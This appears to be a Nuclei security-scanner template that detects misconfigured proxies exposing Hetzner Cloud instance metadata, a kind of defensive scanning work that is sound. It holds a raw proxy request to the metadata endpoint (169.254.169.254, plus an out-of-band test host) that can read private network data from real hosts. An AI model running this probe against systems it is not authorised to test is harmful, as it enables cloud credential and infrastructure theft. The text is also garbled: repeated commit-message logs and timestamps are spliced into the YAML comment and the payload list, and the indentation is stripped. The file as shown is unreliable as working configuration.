nuclei-templates/http/misconfiguration/proxy/metadata-hetzner.yaml

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id: metadata-service-hetzner
# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
Dashboard (#3706) * Enhancement: cves/2010/CVE-2010-1353.yaml by mp * Enhancement: cves/2010/CVE-2010-1352.yaml by mp * Enhancement: cves/2010/CVE-2010-1345.yaml by mp * Enhancement: cves/2010/CVE-2010-1340.yaml by mp * Enhancement: cves/2010/CVE-2010-1345.yaml by mp * Enhancement: cves/2010/CVE-2010-1315.yaml by mp * Enhancement: cves/2010/CVE-2010-1314.yaml by mp * Enhancement: cves/2010/CVE-2010-1313.yaml by mp * Enhancement: cves/2010/CVE-2010-1312.yaml by mp * Enhancement: cves/2010/CVE-2010-1308.yaml by mp * Enhancement: cves/2010/CVE-2010-1307.yaml by mp * Enhancement: cves/2010/CVE-2010-1306.yaml by mp * Enhancement: cves/2010/CVE-2010-1305.yaml by mp * Enhancement: cves/2010/CVE-2010-1304.yaml by mp * Enhancement: cves/2010/CVE-2010-1302.yaml by mp * Enhancement: cves/2010/CVE-2010-1219.yaml by mp * Enhancement: cves/2010/CVE-2010-1352.yaml by mp * Enhancement: cves/2010/CVE-2010-1354.yaml by mp * Enhancement: cves/2010/CVE-2010-1461.yaml by mp * Enhancement: cves/2010/CVE-2010-1469.yaml by mp * Enhancement: cves/2010/CVE-2010-1470.yaml by mp * Enhancement: cves/2010/CVE-2010-1471.yaml by mp * Enhancement: cves/2010/CVE-2010-1472.yaml by mp * Enhancement: cves/2010/CVE-2010-1473.yaml by mp * Enhancement: cves/2010/CVE-2010-1474.yaml by mp * Enhancement: cves/2010/CVE-2010-1475.yaml by mp * Enhancement: cves/2010/CVE-2010-1476.yaml by mp * Enhancement: cves/2010/CVE-2010-1478.yaml by mp * Enhancement: cves/2010/CVE-2010-1491.yaml by mp * Enhancement: cves/2010/CVE-2010-1494.yaml by mp * Enhancement: cves/2010/CVE-2010-1495.yaml by mp * Enhancement: cves/2010/CVE-2010-1531.yaml by mp * Enhancement: cves/2010/CVE-2010-1473.yaml by mp * Enhancement: misconfiguration/proxy/metadata-alibaba.yaml by cs * Enhancement: misconfiguration/proxy/metadata-openstack.yaml by cs * Enhancement: misconfiguration/proxy/metadata-oracle.yaml by cs * Enhancement: cves/2016/CVE-2016-4975.yaml by cs * Enhancement: misconfiguration/proxy/metadata-openstack.yaml by cs * Enhancement: misconfiguration/proxy/metadata-oracle.yaml by cs * Enhancement: misconfiguration/proxy/metadata-openstack.yaml by cs * Enhancement: misconfiguration/proxy/metadata-digitalocean.yaml by cs * Enhancement: misconfiguration/proxy/metadata-alibaba.yaml by cs * Enhancement: misconfiguration/proxy/metadata-hetzner.yaml by cs * Enhancement: misconfiguration/proxy/metadata-aws.yaml by cs * Enhancement: misconfiguration/proxy/metadata-google.yaml by cs * Enhancement: misconfiguration/proxy/metadata-azure.yaml by cs * Enhancement: misconfiguration/proxy/open-proxy-localhost.yaml by cs * Enhancement: misconfiguration/proxy/open-proxy-internal.yaml by cs * Enhancement: cves/2021/CVE-2021-1497.yaml by cs * Spacing fixes and enhancement to CNVD-2019-01348.yaml * Spacing fixes, and enhancement to CNVD-2019-01348.yaml * Merge artifact * Spacing Co-authored-by: sullo <sullo@cirt.net>
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# the proxy using the full metadata URL, which the proxy will fulfill to its
# own metadata service.
#
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.
info:
name: Hetzner Cloud Metadata Service Check
author: sullo
severity: critical
description: The Hetzner Cloud host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
reference:
- https://docs.hetzner.cloud/#server-metadata
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
- https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cwe-id: CWE-441
remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
tags: exposure,config,hetzner,proxy,misconfig,metadata
metadata:
max-request: 2
http:
- raw:
- |+
GET http://{{hostval}}/v1/metadata/private-networks HTTP/1.1
Host: {{hostval}}
payloads:
hostval:
2023-01-15 08:12:13 +00:00
- aws.oast.online
- 169.254.169.254
unsafe: true
matchers:
- type: word
part: body
words:
- "alias_ips:"
- "local-ipv4:"
- "instance-id:"
condition: or
Dashboard (#3706) * Enhancement: cves/2010/CVE-2010-1353.yaml by mp * Enhancement: cves/2010/CVE-2010-1352.yaml by mp * Enhancement: cves/2010/CVE-2010-1345.yaml by mp * Enhancement: cves/2010/CVE-2010-1340.yaml by mp * Enhancement: cves/2010/CVE-2010-1345.yaml by mp * Enhancement: cves/2010/CVE-2010-1315.yaml by mp * Enhancement: cves/2010/CVE-2010-1314.yaml by mp * Enhancement: cves/2010/CVE-2010-1313.yaml by mp * Enhancement: cves/2010/CVE-2010-1312.yaml by mp * Enhancement: cves/2010/CVE-2010-1308.yaml by mp * Enhancement: cves/2010/CVE-2010-1307.yaml by mp * Enhancement: cves/2010/CVE-2010-1306.yaml by mp * Enhancement: cves/2010/CVE-2010-1305.yaml by mp * Enhancement: cves/2010/CVE-2010-1304.yaml by mp * Enhancement: cves/2010/CVE-2010-1302.yaml by mp * Enhancement: cves/2010/CVE-2010-1219.yaml by mp * Enhancement: cves/2010/CVE-2010-1352.yaml by mp * Enhancement: cves/2010/CVE-2010-1354.yaml by mp * Enhancement: cves/2010/CVE-2010-1461.yaml by mp * Enhancement: cves/2010/CVE-2010-1469.yaml by mp * Enhancement: cves/2010/CVE-2010-1470.yaml by mp * Enhancement: cves/2010/CVE-2010-1471.yaml by mp * Enhancement: cves/2010/CVE-2010-1472.yaml by mp * Enhancement: cves/2010/CVE-2010-1473.yaml by mp * Enhancement: cves/2010/CVE-2010-1474.yaml by mp * Enhancement: cves/2010/CVE-2010-1475.yaml by mp * Enhancement: cves/2010/CVE-2010-1476.yaml by mp * Enhancement: cves/2010/CVE-2010-1478.yaml by mp * Enhancement: cves/2010/CVE-2010-1491.yaml by mp * Enhancement: cves/2010/CVE-2010-1494.yaml by mp * Enhancement: cves/2010/CVE-2010-1495.yaml by mp * Enhancement: cves/2010/CVE-2010-1531.yaml by mp * Enhancement: cves/2010/CVE-2010-1473.yaml by mp * Enhancement: misconfiguration/proxy/metadata-alibaba.yaml by cs * Enhancement: misconfiguration/proxy/metadata-openstack.yaml by cs * Enhancement: misconfiguration/proxy/metadata-oracle.yaml by cs * Enhancement: cves/2016/CVE-2016-4975.yaml by cs * Enhancement: misconfiguration/proxy/metadata-openstack.yaml by cs * Enhancement: misconfiguration/proxy/metadata-oracle.yaml by cs * Enhancement: misconfiguration/proxy/metadata-openstack.yaml by cs * Enhancement: misconfiguration/proxy/metadata-digitalocean.yaml by cs * Enhancement: misconfiguration/proxy/metadata-alibaba.yaml by cs * Enhancement: misconfiguration/proxy/metadata-hetzner.yaml by cs * Enhancement: misconfiguration/proxy/metadata-aws.yaml by cs * Enhancement: misconfiguration/proxy/metadata-google.yaml by cs * Enhancement: misconfiguration/proxy/metadata-azure.yaml by cs * Enhancement: misconfiguration/proxy/open-proxy-localhost.yaml by cs * Enhancement: misconfiguration/proxy/open-proxy-internal.yaml by cs * Enhancement: cves/2021/CVE-2021-1497.yaml by cs * Spacing fixes and enhancement to CNVD-2019-01348.yaml * Spacing fixes, and enhancement to CNVD-2019-01348.yaml * Merge artifact * Spacing Co-authored-by: sullo <sullo@cirt.net>
2022-02-15 06:09:56 +00:00
# Enhanced by cs on 2022/02/14